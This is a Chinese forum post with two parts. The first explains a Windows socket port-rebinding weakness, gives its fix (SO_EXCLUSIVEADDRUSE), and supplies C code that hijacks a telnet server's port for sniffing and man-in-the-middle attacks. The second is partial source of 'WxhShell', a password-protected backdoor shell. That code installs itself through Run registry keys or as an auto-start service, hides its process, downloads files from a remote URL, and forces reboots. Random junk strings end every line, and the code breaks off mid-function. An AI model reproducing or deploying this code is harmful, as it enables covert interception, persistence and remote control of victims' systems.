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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >qjV(_?F-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Aa  h  
bR;Wf5  
  saddr.sin_family = AF_INET; LuW^Ga"E  
,Taq~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?{*/VJl$  
b&Go'C{p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (J/!9NS:  
K_E- Hgg_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7[u$!.4{*  
Stxrgmu  
  这意味着什么?意味着可以进行如下的攻击: H?<c eK'e  
"f<+~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j*}2AI  
"jG-)k`a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,}_uk]AQ  
 $>y   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '2.11cM3  
dX:#KdK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :*{\oqFn~$  
_Zs]za.#)|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gdfG3d$4  
rCdf*;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bv8GJ #  
T hLR<\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !`F^LXGA  
f'3sT(1&  
  #include Kw ^tvRt'*  
  #include [?Ub =sp  
  #include j>t*k!db  
  #include    -S%)2(f^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KdB9Q ;  
  int main() d8Kxtg Y  
  { =C.WM*='  
  WORD wVersionRequested; @s@67\  
  DWORD ret; [e+$jsPl  
  WSADATA wsaData; Pb-Ft =  
  BOOL val; vs~lyM/  
  SOCKADDR_IN saddr; y()Si\9v  
  SOCKADDR_IN scaddr; E)7ODRVbl  
  int err; Co#_Cyxg=9  
  SOCKET s; \9t6 #8  
  SOCKET sc; /i)1BaF  
  int caddsize; nmrYBw>  
  HANDLE mt; %[C-KQH  
  DWORD tid;   ,"W.A  
  wVersionRequested = MAKEWORD( 2, 2 ); X}gnO83  
  err = WSAStartup( wVersionRequested, &wsaData ); 4C{3>BE  
  if ( err != 0 ) { !HP/`R  
  printf("error!WSAStartup failed!\n"); P?P))UB5  
  return -1; j L[ hB  
  } AE"E($S`  
  saddr.sin_family = AF_INET; !p~K;p,  
   L7lRh=D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XUyoZl?  
a \PvRW*I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \7Fkeo+  
  saddr.sin_port = htons(23); E5b JIC(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p-t*?p C  
  { Ma`Goi\vFk  
  printf("error!socket failed!\n"); ?hQ,'M2  
  return -1; rX<gcntv  
  } 1"82JN|!  
  val = TRUE; M%NapK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @.fyOyOC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *jF VYg  
  { *t+E8)qL  
  printf("error!setsockopt failed!\n"); CxOBH89(  
  return -1; nE)|6  
  } 0w_2E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _~ipO1*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~t~5ctJ@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mrfc.{`[  
>%D=#}8l@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) An%V>a-[  
  { > WW5A py[  
  ret=GetLastError(); zjrr*iw  
  printf("error!bind failed!\n"); mxRe2<W  
  return -1; S-Y(Vn4  
  } Pyx$$cj  
  listen(s,2); |e@Bi#M[  
  while(1) /j1p^=ARV  
  { O<x53MN^  
  caddsize = sizeof(scaddr); h8yv:}XU*  
  //接受连接请求 .ZxH#l _  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nd] AvVS  
  if(sc!=INVALID_SOCKET) XTZI !  
  { j8G>0f)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Ze3t5Ll  
  if(mt==NULL) ",ic" ~  
  { 2.K"+%  
  printf("Thread Creat Failed!\n"); {mp;^/O`er  
  break; \JLiA>@@  
  } q$Ol"K@  
  } (pjmE7 `"P  
  CloseHandle(mt); afZPju"-  
  } zq5_&AeW  
  closesocket(s); @Yq!  
  WSACleanup(); B`4[@$  
  return 0; %-4e8d74/  
  }   GZN@MK*co  
  DWORD WINAPI ClientThread(LPVOID lpParam) +"] 'h~W  
  { )pVxp]EI  
  SOCKET ss = (SOCKET)lpParam; iK"j@1|  
  SOCKET sc; A/U tf0{3"  
  unsigned char buf[4096]; n]B)\D+V^  
  SOCKADDR_IN saddr; sv^; nOAc  
  long num; T_}\  
  DWORD val; vR?L/G^.  
  DWORD ret; Z6b3gV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XKsG2>l-W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V#TA%>  
  saddr.sin_family = AF_INET; ]'aG oR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -BV&u(  
  saddr.sin_port = htons(23); g(:y_EpmLH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B%Yb+M&K  
  { N[}XLhbt  
  printf("error!socket failed!\n"); V,uhBMT#  
  return -1; _W: S>ij(  
  } TBQ`:`g^m  
  val = 100; rrSA.J{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RU `TzD  
  {  FFgy=F  
  ret = GetLastError(); Jz#ZDZkm  
  return -1; s 8``U~D   
  } is}Fy>9i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f ( `.q  
  { )^!-Aj\x  
  ret = GetLastError(); )_EobE\  
  return -1; Ze$:-7Czl  
  } 7l Aa6"Y68  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }}qR~.[  
  { 8IC((  
  printf("error!socket connect failed!\n"); D0QXvrf  
  closesocket(sc); t:M({|m Y  
  closesocket(ss); r _r$nl  
  return -1; nX Qz  
  } ej<z]{`05  
  while(1) E"Xi  
  { xiRTp:>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =]E1T8|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4PUM.%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AmSJ!mTd8o  
  num = recv(ss,buf,4096,0); iA ZtV'VQ)  
  if(num>0) vS<;:3  
  send(sc,buf,num,0); #G#gB   
  else if(num==0) O!f* @  
  break; yB. 6U56  
  num = recv(sc,buf,4096,0); McnP>n  
  if(num>0) kXX RMR  
  send(ss,buf,num,0); raJyo>xXb5  
  else if(num==0) 5<w0*~Z d~  
  break; 33Mr9Doon  
  } 4 qW)R{%  
  closesocket(ss); ,iPkx(  
  closesocket(sc); GZ'hj_2%<  
  return 0 ; <6apv(2a  
  } v;K\#uc_  
JmYi&  
$ ]81s`  
========================================================== & 8&WY1cU  
NHc+QMbou(  
下边附上一个代码,,WXhSHELL N=+Up\h  
1*-58N*  
========================================================== vJq`l3&  
T  |j^  
#include "stdafx.h" >8NQ8i=]V1  
5. l&nt'  
#include <stdio.h> `Ze fSmb  
#include <string.h> FpRK^MEkG  
#include <windows.h> V,M8RYOnC!  
#include <winsock2.h> _F3vC#  
#include <winsvc.h> Ar'5kPzY>  
#include <urlmon.h> GV[[[fu  
rbtPG=t_R  
#pragma comment (lib, "Ws2_32.lib") @pko zE-  
#pragma comment (lib, "urlmon.lib") &(.ZHF  
;5=pBP.  
#define MAX_USER   100 // 最大客户端连接数 <b Ta88,)  
#define BUF_SOCK   200 // sock buffer Hh@mIusj  
#define KEY_BUFF   255 // 输入 buffer Y66 vJ<lM  
f CVSVn"o  
#define REBOOT     0   // 重启 jN {ED_  
#define SHUTDOWN   1   // 关机  b'{D4/  
P7Y[?='v  
#define DEF_PORT   5000 // 监听端口 \|&5eeE@  
)O&$-4gL'  
#define REG_LEN     16   // 注册表键长度 U&eLj"XZ  
#define SVC_LEN     80   // NT服务名长度 Ns 9g>~  
>$"bwr}'4B  
// 从dll定义API /cjf 1Dc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H+0 *  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Aqm0|GlJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L"b5P2{c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); be@MQ}6>  
uuC/F_='B  
// wxhshell配置信息 {jq-dL  
struct WSCFG { FP\[7?ZLn  
  int ws_port;         // 监听端口 ?QMs<  
  char ws_passstr[REG_LEN]; // 口令 A=3 U4L  
  int ws_autoins;       // 安装标记, 1=yes 0=no igQyn|  
  char ws_regname[REG_LEN]; // 注册表键名 =Tj0dfO|"  
  char ws_svcname[REG_LEN]; // 服务名 n_+Iw,a'm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  3sw1y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~|!lC}!IKL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eX$Biv1N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0!zWXKX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2Vi[qS^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z3/zUtgs  
O ,;SA  
}; M>^IQ  
G dooy~cn  
// default Wxhshell configuration AUq?<Vg\  
struct WSCFG wscfg={DEF_PORT, /;>EyWW  
    "xuhuanlingzhe", {oZ]1Qf_  
    1, PQs9@]w[  
    "Wxhshell", KVntBe]I  
    "Wxhshell", NSkI2>+P  
            "WxhShell Service", P6?Q;-\q0  
    "Wrsky Windows CmdShell Service", qy]-YJZ  
    "Please Input Your Password: ", b13>>'BMB  
  1, #*`|}_6L  
  "http://www.wrsky.com/wxhshell.exe", &, )tD62s  
  "Wxhshell.exe" :H87x?e[  
    }; i}YnJ  
@GV^B'}*  
// 消息定义模块 qjFgy)qV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yk5kC 0B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lV 1|\~?4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MWuVV=rd8a  
char *msg_ws_ext="\n\rExit."; 0'<S7?~|  
char *msg_ws_end="\n\rQuit."; $pKS['J0  
char *msg_ws_boot="\n\rReboot..."; BZBsE :(F  
char *msg_ws_poff="\n\rShutdown..."; JSL 3.J  
char *msg_ws_down="\n\rSave to "; Xgm7>=l  
7 D^A:f  
char *msg_ws_err="\n\rErr!"; -_}EQ9Q  
char *msg_ws_ok="\n\rOK!"; ?\yo~=N^  
<eI;Jph5  
char ExeFile[MAX_PATH]; iOyYf!yg  
int nUser = 0; t&oNJq{  
HANDLE handles[MAX_USER]; r3-3*_  
int OsIsNt; i>~?XVU  
0Nfj}sXCWE  
SERVICE_STATUS       serviceStatus; %|I|Mc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t Z%?vY~!  
`l}-S |a  
// 函数声明 L9.#/%I\  
int Install(void); izxCbbg  
int Uninstall(void); f0F$*"#G  
int DownloadFile(char *sURL, SOCKET wsh); F, "x~C  
int Boot(int flag); DjKjEZHgM  
void HideProc(void); eOb`uyi  
int GetOsVer(void); s6$3[9Vh&9  
int Wxhshell(SOCKET wsl); Y:a(y*y<  
void TalkWithClient(void *cs); oK>,MdB  
int CmdShell(SOCKET sock); t&xx-4  
int StartFromService(void); C/ bttd  
int StartWxhshell(LPSTR lpCmdLine); TQou.'+v  
2*M*<p=v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x\%eg w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r~TT c)2  
MXy{]o_H~  
// 数据结构和表定义 Q^k# ?j#  
SERVICE_TABLE_ENTRY DispatchTable[] = (g Z!o_  
{ u62sq: GjH  
{wscfg.ws_svcname, NTServiceMain},  /F_ :@#H  
{NULL, NULL} "Wm~\)t(  
}; DHAWUS6  
~JXHBX  
// 自我安装 ST3qg6Cq2J  
int Install(void)  >4\xcL  
{ =%3nKSg  
  char svExeFile[MAX_PATH]; _=8+_OEk  
  HKEY key; X=3@M_Jzo  
  strcpy(svExeFile,ExeFile); #^ 9;<@M  
cC4T3]4l'  
// 如果是win9x系统,修改注册表设为自启动 )>fi={!=c  
if(!OsIsNt) { e-VL U;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !r|X6`g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j#&  
  RegCloseKey(key); >=V+X"\Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZwMw g t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .bE,Q9:  
  RegCloseKey(key); ?@1'WD t  
  return 0; zgqw*)C~  
    } P5>CSWy%  
  } TI>yi ^}  
} V|AE~R^  
else { 1 XG-O  
MjpJAV/84  
// 如果是NT以上系统,安装为系统服务 Ps7%:|K]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =CoT{LRQ_  
if (schSCManager!=0) L,6Y=?  
{ HhL%iy1  
  SC_HANDLE schService = CreateService |=LkV"_v  
  ( FT~^$)8=  
  schSCManager, 4i,SiFKB  
  wscfg.ws_svcname, aW"!bAdx`,  
  wscfg.ws_svcdisp,  zjA/Z(  
  SERVICE_ALL_ACCESS, qj&)w9RLJE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jO 55<s94  
  SERVICE_AUTO_START, L|X5Ru  
  SERVICE_ERROR_NORMAL, ^NDX4d;  
  svExeFile, { rT`*P~  
  NULL, u3vmC:bV  
  NULL, q3F5\6aN  
  NULL, d<'xpdxc  
  NULL, |Z ,G  
  NULL Wv"tAseu  
  ); kre&J  
  if (schService!=0) $1+K}tP  
  { Q$1K{14I  
  CloseServiceHandle(schService); Nd!VR+IZ  
  CloseServiceHandle(schSCManager); vi8~j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F :S,{&jB  
  strcat(svExeFile,wscfg.ws_svcname); W[Bu&?h$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "NU".q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?N*0 S'dY  
  RegCloseKey(key); QCR-lxO1  
  return 0; !9, pX  
    } $VWzv4^:  
  } 91H0mP>ki  
  CloseServiceHandle(schSCManager); l,.?-|Poa  
} ozC!q)j  
} M N#C2 qz  
=[JN'|Q+  
return 1; sw|:Z(`  
} hZ<btN .y5  
cA? x(  
// 自我卸载 2HXKz7da  
int Uninstall(void) d|]O<]CG_  
{ Nb~dw;t  
  HKEY key; zXZ'nJ5OGG  
[+g@@\X4  
if(!OsIsNt) { <(4#4=ivP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,SF.@^o@a  
  RegDeleteValue(key,wscfg.ws_regname); Eap/7U1Q  
  RegCloseKey(key); y.p6%E_`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -vHr1I<  
  RegDeleteValue(key,wscfg.ws_regname); SFk#bh  
  RegCloseKey(key); Jv <$AI  
  return 0; N?;o_^C  
  } `mjx4Lb  
} 7[g;|(G0  
} jJ!-hg4?]  
else { ).C!  
ex \W]5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H@E" )@92  
if (schSCManager!=0) )7GLS\uf<%  
{ WEtA4zCO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8e!DDh  
  if (schService!=0) hG7S]\N_  
  { VONAw3k7!  
  if(DeleteService(schService)!=0) { QO{=Wi-  
  CloseServiceHandle(schService); !y-2#  
  CloseServiceHandle(schSCManager); PgLS\_B  
  return 0; "F$o!Vk  
  } [fi'=Cb  
  CloseServiceHandle(schService); ShJK&70O  
  } cEc,eq|  
  CloseServiceHandle(schSCManager); F,M"/hnPT  
} XcMJD(!  
} ,6;xr'[o*  
}b+QYSt  
return 1; 1/ pA/UVO  
} _]xt65TL  
RR!!hY3 K  
// 从指定url下载文件 ]<T8ZA_Y;  
int DownloadFile(char *sURL, SOCKET wsh) l(,;wAH  
{ ;{f??G  
  HRESULT hr; 0^_lj9B!  
char seps[]= "/"; EB5_;  
char *token; Hpi%9SAM  
char *file; ny(GTKoUz  
char myURL[MAX_PATH]; eQFb$C]R}y  
char myFILE[MAX_PATH]; 7TkxvSL X  
^mueFw}\  
strcpy(myURL,sURL); ;Q=GJ5`B  
  token=strtok(myURL,seps); {M r~%y4  
  while(token!=NULL) ^2^|AXNES  
  { i9eyrl+!  
    file=token; s S5fd)x  
  token=strtok(NULL,seps); yd ND$@; Z  
  } HNy/ -  
z8/xGQn  
GetCurrentDirectory(MAX_PATH,myFILE); pp]_/46nN  
strcat(myFILE, "\\"); +K%pxuVh  
strcat(myFILE, file); pzq; vMr  
  send(wsh,myFILE,strlen(myFILE),0); {HHh.K  
send(wsh,"...",3,0); r1oku0o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ) wY!/&  
  if(hr==S_OK) g&+Y{*Gp  
return 0; qC1U&b#MVx  
else H5rPq_R  
return 1; tB7K&ssi  
n2d8;B#  
} N3gNOq&  
/Y[o=Uyl  
// 系统电源模块 -nk#d%a\  
int Boot(int flag) TcD[Teu  
{ FU\/JF.j  
  HANDLE hToken; LR3`=Z9  
  TOKEN_PRIVILEGES tkp; ~#"7,rQp  
)ojx_3j8  
  if(OsIsNt) { v0`qMBr1y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h zZ-$IX X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cc41b*ci$  
    tkp.PrivilegeCount = 1; R6q4 ["  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z0 2}&^Zzk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8jggc#.  
if(flag==REBOOT) { 5, -pBep<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wI! +L&Q  
  return 0; t0e{| du  
} M_h8#7{G  
else { hB?,7-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VJN/#   
  return 0; O:;OR'N9  
}  O[IR|  
  } uZ\wwYY#M  
  else { ^E$(1><-a  
if(flag==REBOOT) { K lli$40  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rToaGQh  
  return 0; "[*S?QO(L  
} /WgPXEB  
else { jj!N39f   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }UKgF.  
  return 0; WVS$O99Y  
} LBmM{Gu  
} 9DOkQnnc  
UU iNR  
return 1; %1\v7Xw{9  
} cgs3qI  
-,QKTxwo>  
// win9x进程隐藏模块 e^k!vk-SLF  
void HideProc(void) ;Y'8:ncDn  
{ nAo8uWG  
d"B@c;dD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J}Qs"+x  
  if ( hKernel != NULL ) s~=KhP~  
  { rH$eB/#F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =[]x\&@t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1l/AKI(!  
    FreeLibrary(hKernel); 4>4V-m\  
  } ;w`sz.  
*A?8F"6>  
return; {ExII<=6  
} 9ZDVy7m\i-  
WI1T?.Gc   
// 获取操作系统版本 :7p9t.R<$h  
int GetOsVer(void) UrO=!Gk  
{ [D3+cDph  
  OSVERSIONINFO winfo; SU%mmw ES3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #V.ZdLo(  
  GetVersionEx(&winfo); PXw| L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [ rQMD^:M$  
  return 1; }#yU'#|d  
  else U^%9 )4bj  
  return 0; rO/a,vV  
} "^;#f+0  
H LjvKE=W  
// 客户端句柄模块 $!!R:Wn/R  
int Wxhshell(SOCKET wsl) iv:,fkwG  
{ {(rf/:X!p  
  SOCKET wsh; X*pZNz&E  
  struct sockaddr_in client;  T/[f5?p  
  DWORD myID; 7\IL  
j~Q}F|i8  
  while(nUser<MAX_USER) A LXUaE.  
{ Q  |  
  int nSize=sizeof(client); b,#`n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8y$5oD6g9  
  if(wsh==INVALID_SOCKET) return 1; m</]D WJ  
}>2t&+v+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gaQ[3g  
if(handles[nUser]==0) NW z9C=y  
  closesocket(wsh); N 0+hejz  
else b -PSm=`  
  nUser++; j!YNg*H  
  } hZcmP"wgC1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \B_i$<Sz  
zhNQuK,L  
  return 0; ?-e7e %  
} WtIMvk  
}N?g|  
// 关闭 socket wHx}U M"  
void CloseIt(SOCKET wsh) :^ n*V6.4  
{ YWEYHr;%^?  
closesocket(wsh); 6`acg'sk>  
nUser--; :-z&Y492  
ExitThread(0); K[kds`  
} H4t)+(:D'  
Zr=ib  
// 客户端请求句柄 7 0_}S*T  
void TalkWithClient(void *cs) Y?<)Dg.[  
{ p"2m90IO  
Cl,9yU)1n  
  SOCKET wsh=(SOCKET)cs; elu=9d];@  
  char pwd[SVC_LEN]; )1WMlG  
  char cmd[KEY_BUFF]; jh[ #p?:  
char chr[1]; `%e|$pK  
int i,j; ;AKwx|I$g  
Hb+X}7c$  
  while (nUser < MAX_USER) { E Zi&]  
z) :ka"e  
if(wscfg.ws_passstr) { j1/+\8Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oukd_Ryf   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :$NsR*Cq*9  
  //ZeroMemory(pwd,KEY_BUFF); c S4DN  
      i=0; x|8^i6xB  
  while(i<SVC_LEN) { "# !D|[h0  
CphFv!k'Z  
  // 设置超时 _ Hc%4I  
  fd_set FdRead; ;`DD}j`  
  struct timeval TimeOut; Xh?4mKgu  
  FD_ZERO(&FdRead); P$_&  
  FD_SET(wsh,&FdRead); F>*{e  
  TimeOut.tv_sec=8; +~N!9eMc  
  TimeOut.tv_usec=0; =~&VdPZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YxXq I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9UV9h_.x  
U9 #w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =-w;z x  
  pwd=chr[0]; xYPxg!  
  if(chr[0]==0xd || chr[0]==0xa) { z`4c 4h]I  
  pwd=0; eTT) P  
  break; h h"h j  
  } Fk{J@Y  
  i++; !scD|ti  
    } {=67XrWN1  
8f|98T"  
  // 如果是非法用户,关闭 socket onwjn+"&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {{\ce;hN  
} cMaOM}mS  
7\Co`J>p2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M*w'1fT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jd_;@(Eg=  
,!Q]q^{C:W  
while(1) { d`mD!)j  
96c?3ya  
  ZeroMemory(cmd,KEY_BUFF); cL G6(<L  
rh66_eV  
      // 自动支持客户端 telnet标准   E;9>ePd@  
  j=0; &n:{x}Uc  
  while(j<KEY_BUFF) { 3@_Elu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Z?Su(s(5  
  cmd[j]=chr[0]; RbEKP(uw  
  if(chr[0]==0xa || chr[0]==0xd) { \9/RAY_G  
  cmd[j]=0; a7#?h%wf  
  break; eklgLU-+fW  
  } 0OnV0SIL  
  j++; vQ1 v# Z  
    } nn+_TMu  
u#@RM^738d  
  // 下载文件 2z\e\I  
  if(strstr(cmd,"http://")) { (5a1P;_Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rQb7?O@-  
  if(DownloadFile(cmd,wsh)) -R b{^/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%@hbUc}x9  
  else eVJ^\z:4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @}&_Dvf  
  } ml0*1Dw  
  else { Z.1> kZ  
du_4eB  
    switch(cmd[0]) { G69GoT  
  XogVpkA  
  // 帮助 MjD75hIZ  
  case '?': { P6\6?am  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3TS_-l  
    break; XKS8K4"  
  } 2' ] KTHm  
  // 安装 /TV= $gB`  
  case 'i': { Dvc&RG  
    if(Install()) e2cP *J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;iJ*2f5V  
    else ;wHCj$q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l1'6cLT`  
    break; 3I  $>uR  
    } 9t$]X>}  
  // 卸载 %%JMb=!%2  
  case 'r': { AXPMnbUS  
    if(Uninstall()) ~Lz%.a;o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?*]lH.  
    else $n!K6fkX%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cBXWfv4  
    break; G8J*Wnwu[K  
    } [0y$! f4  
  // 显示 wxhshell 所在路径 {<=#*qx[Y!  
  case 'p': { />44]A<  
    char svExeFile[MAX_PATH]; ,|h)bg7.  
    strcpy(svExeFile,"\n\r"); 2VGg 6%  
      strcat(svExeFile,ExeFile); ,r8Tbk]m  
        send(wsh,svExeFile,strlen(svExeFile),0); \r {W  
    break; _S`o1^Ad  
    } ;j%BK(5  
  // 重启 2=iH$v  
  case 'b': { C\*4q8(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,xfO;yd  
    if(Boot(REBOOT)) 8gy_Yj&{P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [yS#O\$'e  
    else { /.z;\=;[n!  
    closesocket(wsh); i'#Gy,R  
    ExitThread(0); 4 %W:  
    } bZ1 78>J]  
    break; yuhnYR\`m  
    } ~*W!mlg  
  // 关机 SF*n1V3hx  
  case 'd': { {{yZ@>o6  
